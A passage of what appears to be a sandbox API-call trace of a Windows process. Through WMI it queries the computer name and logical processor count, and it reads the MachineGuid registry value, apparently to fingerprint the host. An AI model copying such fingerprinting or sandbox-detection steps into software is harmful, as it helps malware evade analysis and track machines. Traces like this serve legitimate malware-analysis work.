[6]=0x0, [7]=0x46)), ppvObject=0x12fed10 | out: ppvObject=0x12fed10*=0x1395760) returned 0x0 [0204.429] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1395760, pProxy=0x13ca838, pAuthnSvc=0x12fed60, pAuthzSvc=0x12fed5c, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58, pImpLevel=0x12fed48, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50 | out: pAuthnSvc=0x12fed60*=0xa, pAuthzSvc=0x12fed5c*=0x0, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58*=0x6, pImpLevel=0x12fed48*=0x2, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50*=0x1) returned 0x0 [0204.429] WbemLocator:IUnknown:Release (This=0x1395760) returned 0x1 [0204.429] WbemLocator:IUnknown:QueryInterface (in: This=0x13ca838, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed04 | out: ppvObject=0x12fed04*=0x1395784) returned 0x0 [0204.429] WbemLocator:IUnknown:QueryInterface (in: This=0x13ca838, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fecf0 | out: ppvObject=0x12fecf0*=0x1395760) returned 0x0 [0204.429] WbemLocator:IClientSecurity:SetBlanket (This=0x1395760, pProxy=0x13ca838, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0204.429] WbemLocator:IUnknown:Release (This=0x1395760) returned 0x2 [0204.429] WbemLocator:IUnknown:Release (This=0x1395784) returned 0x1 [0204.429] CoTaskMemFree (pv=0x13d5eb0) [0204.429] WbemLocator:IUnknown:AddRef (This=0x13ca838) returned 0x2 [0204.429] WbemLocator:IUnknown:Release (This=0x13826a8) returned 0x0 [0204.430] CoGetContextToken (in: pToken=0x12fe230 | out: pToken=0x12fe230) returned 0x0 [0204.430] CoGetContextToken (in: pToken=0x12fe638 | out: pToken=0x12fe638) returned 0x0 [0204.430] WbemLocator:IUnknown:QueryInterface (in: This=0x13ca838, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5d0 | out: ppvObject=0x12fe5d0*=0x1395768) returned 0x0 [0204.430] WbemLocator:IRpcOptions:Query (in: This=0x1395768, pPrx=0x13a14c8, dwProperty=2, pdwValue=0x12fe6d0 | out: pdwValue=0x12fe6d0) returned 0x80004002 [0204.430] WbemLocator:IUnknown:Release (This=0x1395768) returned 0x2 [0204.430] CoGetContextToken (in: pToken=0x12fec10 | out: pToken=0x12fec10) returned 0x0 [0204.430] CoGetContextToken (in: pToken=0x12feb70 | out: pToken=0x12feb70) returned 0x0 [0204.430] WbemLocator:IUnknown:QueryInterface (in: This=0x13ca838, riid=0x12fec40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x12feb08 | out: ppvObject=0x12feb08*=0x13ca838) returned 0x0 [0204.430] WbemLocator:IUnknown:Release (This=0x13ca838) returned 0x2 [0204.430] SysStringLen (param_1=0x0) returned 0x0 [0204.431] CoGetContextToken (in: pToken=0x12fed28 | out: pToken=0x12fed28) returned 0x0 [0204.431] IWbemServices:ExecQuery (in: This=0x13ca838, strQueryLanguage="WQL", strQuery="Select * from Win32_ComputerSystem", lFlags=16, pCtx=0x0, ppEnum=0x12fef3c | out: ppEnum=0x12fef3c*=0x13ad018) returned 0x0 [0204.437] IUnknown:QueryInterface (in: This=0x13ad018, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed90 | out: ppvObject=0x12fed90*=0x13ad01c) returned 0x0 [0204.437] IClientSecurity:QueryBlanket (in: This=0x13ad01c, pProxy=0x13ad018, pAuthnSvc=0x12fede0, pAuthzSvc=0x12feddc, pServerPrincName=0x12fedd4, pAuthnLevel=0x12fedd8, pImpLevel=0x12fedc8, pAuthInfo=0x12fedcc, pCapabilites=0x12fedd0 | out: pAuthnSvc=0x12fede0*=0xa, pAuthzSvc=0x12feddc*=0x0, pServerPrincName=0x12fedd4, pAuthnLevel=0x12fedd8*=0x6, pImpLevel=0x12fedc8*=0x2, pAuthInfo=0x12fedcc, pCapabilites=0x12fedd0*=0x1) returned 0x0 [0204.437] IUnknown:Release (This=0x13ad01c) returned 0x1 [0204.437] IUnknown:QueryInterface (in: This=0x13ad018, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed84 | out: ppvObject=0x12fed84*=0x1394d84) returned 0x0 [0204.437] IUnknown:QueryInterface (in: This=0x13ad018, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed70 | out: ppvObject=0x12fed70*=0x13ad01c) returned 0x0 [0204.438] IClientSecurity:SetBlanket (This=0x13ad01c, pProxy=0x13ad018, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0204.440] IUnknown:Release (This=0x13ad01c) returned 0x2 [0204.440] WbemLocator:IUnknown:Release (This=0x1394d84) returned 0x1 [0204.440] CoTaskMemFree (pv=0x13d5dc0) [0204.440] IUnknown:AddRef (This=0x13ad018) returned 0x2 [0204.440] CoGetContextToken (in: pToken=0x12fe2a8 | out: pToken=0x12fe2a8) returned 0x0 [0204.440] CoGetContextToken (in: pToken=0x12fe6b0 | out: pToken=0x12fe6b0) returned 0x0 [0204.440] IUnknown:QueryInterface (in: This=0x13ad018, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe648 | out: ppvObject=0x12fe648*=0x1394d68) returned 0x0 [0204.440] WbemLocator:IRpcOptions:Query (in: This=0x1394d68, pPrx=0x13a12b8, dwProperty=2, pdwValue=0x12fe748 | out: pdwValue=0x12fe748) returned 0x80004002 [0204.440] WbemLocator:IUnknown:Release (This=0x1394d68) returned 0x2 [0204.440] CoGetContextToken (in: pToken=0x12fec90 | out: pToken=0x12fec90) returned 0x0 [0204.440] CoGetContextToken (in: pToken=0x12febf0 | out: pToken=0x12febf0) returned 0x0 [0204.440] IUnknown:QueryInterface (in: This=0x13ad018, riid=0x12fecc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12feb88 | out: ppvObject=0x12feb88*=0x13ad018) returned 0x0 [0204.441] IUnknown:Release (This=0x13ad018) returned 0x2 [0204.441] SysStringLen (param_1=0x0) returned 0x0 [0204.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fef88 | out: puCount=0x12fef88*=0x2) returned 0x0 [0204.441] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef84*=0x0, pszText=0x0 | out: puBuffLength=0x12fef84*=0xf, pszText=0x0) returned 0x0 [0204.441] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef84*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef84*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0204.441] CoGetContextToken (in: pToken=0x12fedd8 | out: pToken=0x12fedd8) returned 0x0 [0204.441] IEnumWbemClassObject:Clone (in: This=0x13ad018, ppEnum=0x12fef94 | out: ppEnum=0x12fef94*=0x13acaa0) returned 0x0 [0204.443] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee50 | out: ppvObject=0x12fee50*=0x13acaa4) returned 0x0 [0204.444] IClientSecurity:QueryBlanket (in: This=0x13acaa4, pProxy=0x13acaa0, pAuthnSvc=0x12feea0, pAuthzSvc=0x12fee9c, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98, pImpLevel=0x12fee88, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90 | out: pAuthnSvc=0x12feea0*=0xa, pAuthzSvc=0x12fee9c*=0x0, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98*=0x6, pImpLevel=0x12fee88*=0x2, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90*=0x1) returned 0x0 [0204.444] IUnknown:Release (This=0x13acaa4) returned 0x1 [0204.444] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee44 | out: ppvObject=0x12fee44*=0x1395684) returned 0x0 [0204.444] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee30 | out: ppvObject=0x12fee30*=0x13acaa4) returned 0x0 [0204.444] IClientSecurity:SetBlanket (This=0x13acaa4, pProxy=0x13acaa0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0204.449] IUnknown:Release (This=0x13acaa4) returned 0x2 [0204.449] WbemLocator:IUnknown:Release (This=0x1395684) returned 0x1 [0204.449] CoTaskMemFree (pv=0x13d5f70) [0204.450] IUnknown:AddRef (This=0x13acaa0) returned 0x2 [0204.450] CoGetContextToken (in: pToken=0x12fe358 | out: pToken=0x12fe358) returned 0x0 [0204.450] CoGetContextToken (in: pToken=0x12fe760 | out: pToken=0x12fe760) returned 0x0 [0204.450] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x1395668) returned 0x0 [0204.450] WbemLocator:IRpcOptions:Query (in: This=0x1395668, pPrx=0x13a1450, dwProperty=2, pdwValue=0x12fe7f8 | out: pdwValue=0x12fe7f8) returned 0x80004002 [0204.450] WbemLocator:IUnknown:Release (This=0x1395668) returned 0x2 [0204.450] CoGetContextToken (in: pToken=0x12fed40 | out: pToken=0x12fed40) returned 0x0 [0204.450] CoGetContextToken (in: pToken=0x12feca0 | out: pToken=0x12feca0) returned 0x0 [0204.450] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x12fed70*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12fec38 | out: ppvObject=0x12fec38*=0x13acaa0) returned 0x0 [0204.450] IUnknown:Release (This=0x13acaa0) returned 0x2 [0204.450] SysStringLen (param_1=0x0) returned 0x0 [0204.451] IEnumWbemClassObject:Reset (This=0x13acaa0) returned 0x0 [0204.452] CoTaskMemAlloc (cb=0x4) returned 0x1382818 [0204.452] IEnumWbemClassObject:Next (in: This=0x13acaa0, lTimeout=-1, uCount=0x1, apObjects=0x1382818, puReturned=0x32320c0 | out: apObjects=0x1382818*=0x13d5910, puReturned=0x32320c0*=0x1) returned 0x0 [0204.461] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5f0 | out: ppvObject=0x12fe5f0*=0x13d5910) returned 0x0 [0204.462] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe5ac | out: ppvObject=0x12fe5ac*=0x0) returned 0x80004002 [0204.462] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe3cc | out: ppvObject=0x12fe3cc*=0x0) returned 0x80004002 [0204.462] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0204.462] IUnknown:AddRef (This=0x13d5910) returned 0x3 [0204.462] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fdf04 | out: ppvObject=0x12fdf04*=0x0) returned 0x80004002 [0204.462] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdeb4 | out: ppvObject=0x12fdeb4*=0x0) returned 0x80004002 [0204.462] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fdec0 | out: ppvObject=0x12fdec0*=0x13d5914) returned 0x0 [0204.462] IMarshal:GetUnmarshalClass (in: This=0x13d5914, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fdec8 | out: pCid=0x12fdec8) returned 0x0 [0204.462] IUnknown:Release (This=0x13d5914) returned 0x3 [0204.462] CoGetContextToken (in: pToken=0x12fdf20 | out: pToken=0x12fdf20) returned 0x0 [0204.462] CoGetContextToken (in: pToken=0x12fe328 | out: pToken=0x12fe328) returned 0x0 [0204.462] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0204.462] IUnknown:Release (This=0x13d5910) returned 0x2 [0204.462] CoGetContextToken (in: pToken=0x12fe900 | out: pToken=0x12fe900) returned 0x0 [0204.462] CoGetContextToken (in: pToken=0x12fe860 | out: pToken=0x12fe860) returned 0x0 [0204.462] IUnknown:QueryInterface (in: This=0x13d5910, riid=0x12fe930*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fe92c | out: ppvObject=0x12fe92c*=0x13d5910) returned 0x0 [0204.462] IUnknown:AddRef (This=0x13d5910) returned 0x4 [0204.462] IUnknown:Release (This=0x13d5910) returned 0x3 [0204.462] IUnknown:Release (This=0x13d5910) returned 0x2 [0204.462] CoTaskMemFree (pv=0x1382818) [0204.463] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0204.463] IUnknown:AddRef (This=0x13d5910) returned 0x3 [0204.463] IWbemClassObject:Get (in: This=0x13d5910, wszName="__GENUS", lFlags=0, pVal=0x12fef84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff004*=0, plFlavor=0x12ff000*=0 | out: pVal=0x12fef84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff004*=3, plFlavor=0x12ff000*=64) returned 0x0 [0204.463] IWbemClassObject:Get (in: This=0x13d5910, wszName="__PATH", lFlags=0, pVal=0x12fef68*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fefec*=0, plFlavor=0x12fefe8*=0 | out: pVal=0x12fef68*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\ROOT\\cimv2:Win32_ComputerSystem.Name=\"NQDPDE\"", varVal2=0x0), pType=0x12fefec*=8, plFlavor=0x12fefe8*=64) returned 0x0 [0204.463] SysStringByteLen (bstr="\\\\NQDPDE\\ROOT\\cimv2:Win32_ComputerSystem.Name=\"NQDPDE\"") returned 0x6c [0204.463] SysStringByteLen (bstr="\\\\NQDPDE\\ROOT\\cimv2:Win32_ComputerSystem.Name=\"NQDPDE\"") returned 0x6c [0204.463] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef94 | out: ppv=0x12fef94*=0x135504c) returned 0x0 [0204.463] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef8c | out: pAptType=0x12fef8c*=1) returned 0x0 [0204.463] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef90 | out: ppvObject=0x12fef90*=0x0) returned 0x80004002 [0204.463] IUnknown:Release (This=0x135504c) returned 0x1 [0204.464] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe8f0 | out: ppv=0x12fe8f0*=0x1382748) returned 0x0 [0204.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1382748, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb0c | out: ppvObject=0x12feb0c*=0x0) returned 0x80004002 [0204.464] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1382748, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb18 | out: ppvObject=0x12feb18*=0x13a4640) returned 0x0 [0204.464] WbemDefPath:IUnknown:Release (This=0x1382748) returned 0x0 [0204.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4640, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe73c | out: ppvObject=0x12fe73c*=0x13a4640) returned 0x0 [0204.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4640, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x0) returned 0x80004002 [0204.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4640, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2ec | out: ppvObject=0x12fe2ec*=0x0) returned 0x80004002 [0204.465] WbemDefPath:IUnknown:AddRef (This=0x13a4640) returned 0x3 [0204.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4640, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe04c | out: ppvObject=0x12fe04c*=0x0) returned 0x80004002 [0204.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4640, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdffc | out: ppvObject=0x12fdffc*=0x0) returned 0x80004002 [0204.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4640, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe008 | out: ppvObject=0x12fe008*=0x13a16d8) returned 0x0 [0204.465] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13a16d8, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe010 | out: pCid=0x12fe010) returned 0x0 [0204.465] WbemDefPath:IUnknown:Release (This=0x13a16d8) returned 0x3 [0204.465] CoGetContextToken (in: pToken=0x12fe068 | out: pToken=0x12fe068) returned 0x0 [0204.465] CoGetContextToken (in: pToken=0x12fe470 | out: pToken=0x12fe470) returned 0x0 [0204.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4640, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4fc | out: ppvObject=0x12fe4fc*=0x0) returned 0x80004002 [0204.465] WbemDefPath:IUnknown:Release (This=0x13a4640) returned 0x2 [0204.465] WbemDefPath:IUnknown:Release (This=0x13a4640) returned 0x1 [0204.465] CoGetContextToken (in: pToken=0x12fee10 | out: pToken=0x12fee10) returned 0x0 [0204.465] CoGetContextToken (in: pToken=0x12fed70 | out: pToken=0x12fed70) returned 0x0 [0204.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4640, riid=0x12fee40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee3c | out: ppvObject=0x12fee3c*=0x13a4640) returned 0x0 [0204.465] WbemDefPath:IUnknown:AddRef (This=0x13a4640) returned 0x3 [0204.465] WbemDefPath:IUnknown:Release (This=0x13a4640) returned 0x2 [0204.465] WbemDefPath:IWbemPath:SetText (This=0x13a4640, uMode=0x4, pszPath="\\\\NQDPDE\\ROOT\\cimv2:Win32_ComputerSystem.Name=\"NQDPDE\"") returned 0x0 [0204.465] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fefc0 | out: puCount=0x12fefc0*=0x2) returned 0x0 [0204.465] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fefbc*=0x0, pszText=0x0 | out: puBuffLength=0x12fefbc*=0xf, pszText=0x0) returned 0x0 [0204.465] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefbc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0204.465] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fef8c | out: puCount=0x12fef8c*=0x2) returned 0x0 [0204.465] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef88*=0x0, pszText=0x0 | out: puBuffLength=0x12fef88*=0xf, pszText=0x0) returned 0x0 [0204.465] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef88*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef88*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0204.466] IWbemClassObject:Get (in: This=0x13d5910, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x12fef88*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x32328d4*=0, plFlavor=0x32328d8*=0 | out: pVal=0x12fef88*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), pType=0x32328d4*=19, plFlavor=0x32328d8*=32) returned 0x0 [0204.466] IWbemClassObject:Get (in: This=0x13d5910, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x12fef90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x32328d4*=19, plFlavor=0x32328d8*=32 | out: pVal=0x12fef90*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), pType=0x32328d4*=19, plFlavor=0x32328d8*=32) returned 0x0 [0204.467] CoTaskMemAlloc (cb=0x4) returned 0x13826d8 [0204.467] IEnumWbemClassObject:Next (in: This=0x13acaa0, lTimeout=-1, uCount=0x1, apObjects=0x13826d8, puReturned=0x32320c0 | out: apObjects=0x13826d8*=0x0, puReturned=0x32320c0*=0x0) returned 0x1 [0204.469] CoTaskMemFree (pv=0x13826d8) [0204.469] CoGetContextToken (in: pToken=0x12feeb8 | out: pToken=0x12feeb8) returned 0x0 [0204.469] IUnknown:Release (This=0x13acaa0) returned 0x1 [0204.469] IUnknown:Release (This=0x13acaa0) returned 0x0 [0204.470] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fef80 | out: phkResult=0x12fef80*=0x590) returned 0x0 [0204.470] RegQueryValueExW (in: hKey=0x590, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x12fefa0, lpData=0x0, lpcbData=0x12fef9c*=0x0 | out: lpType=0x12fefa0*=0x1, lpData=0x0, lpcbData=0x12fef9c*=0x4a) returned 0x0 [0204.470] RegQueryValueExW (in: hKey=0x590, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x12fefa0, lpData=0x3232af0, lpcbData=0x12fef9c*=0x4a | out: lpType=0x12fefa0*=0x1, lpData="33d770d0-06bc-47c5-8714-222cdac43a71", lpcbData=0x12fef9c*=0x4a) returned 0x0 [0204.470] RegCloseKey (hKey=0x590) returned 0x0 [0204.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fefa0 | out: puCount=0x12fefa0*=0x2) returned 0x0 [0204.481] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef9c*=0x0, pszText=0x0 | 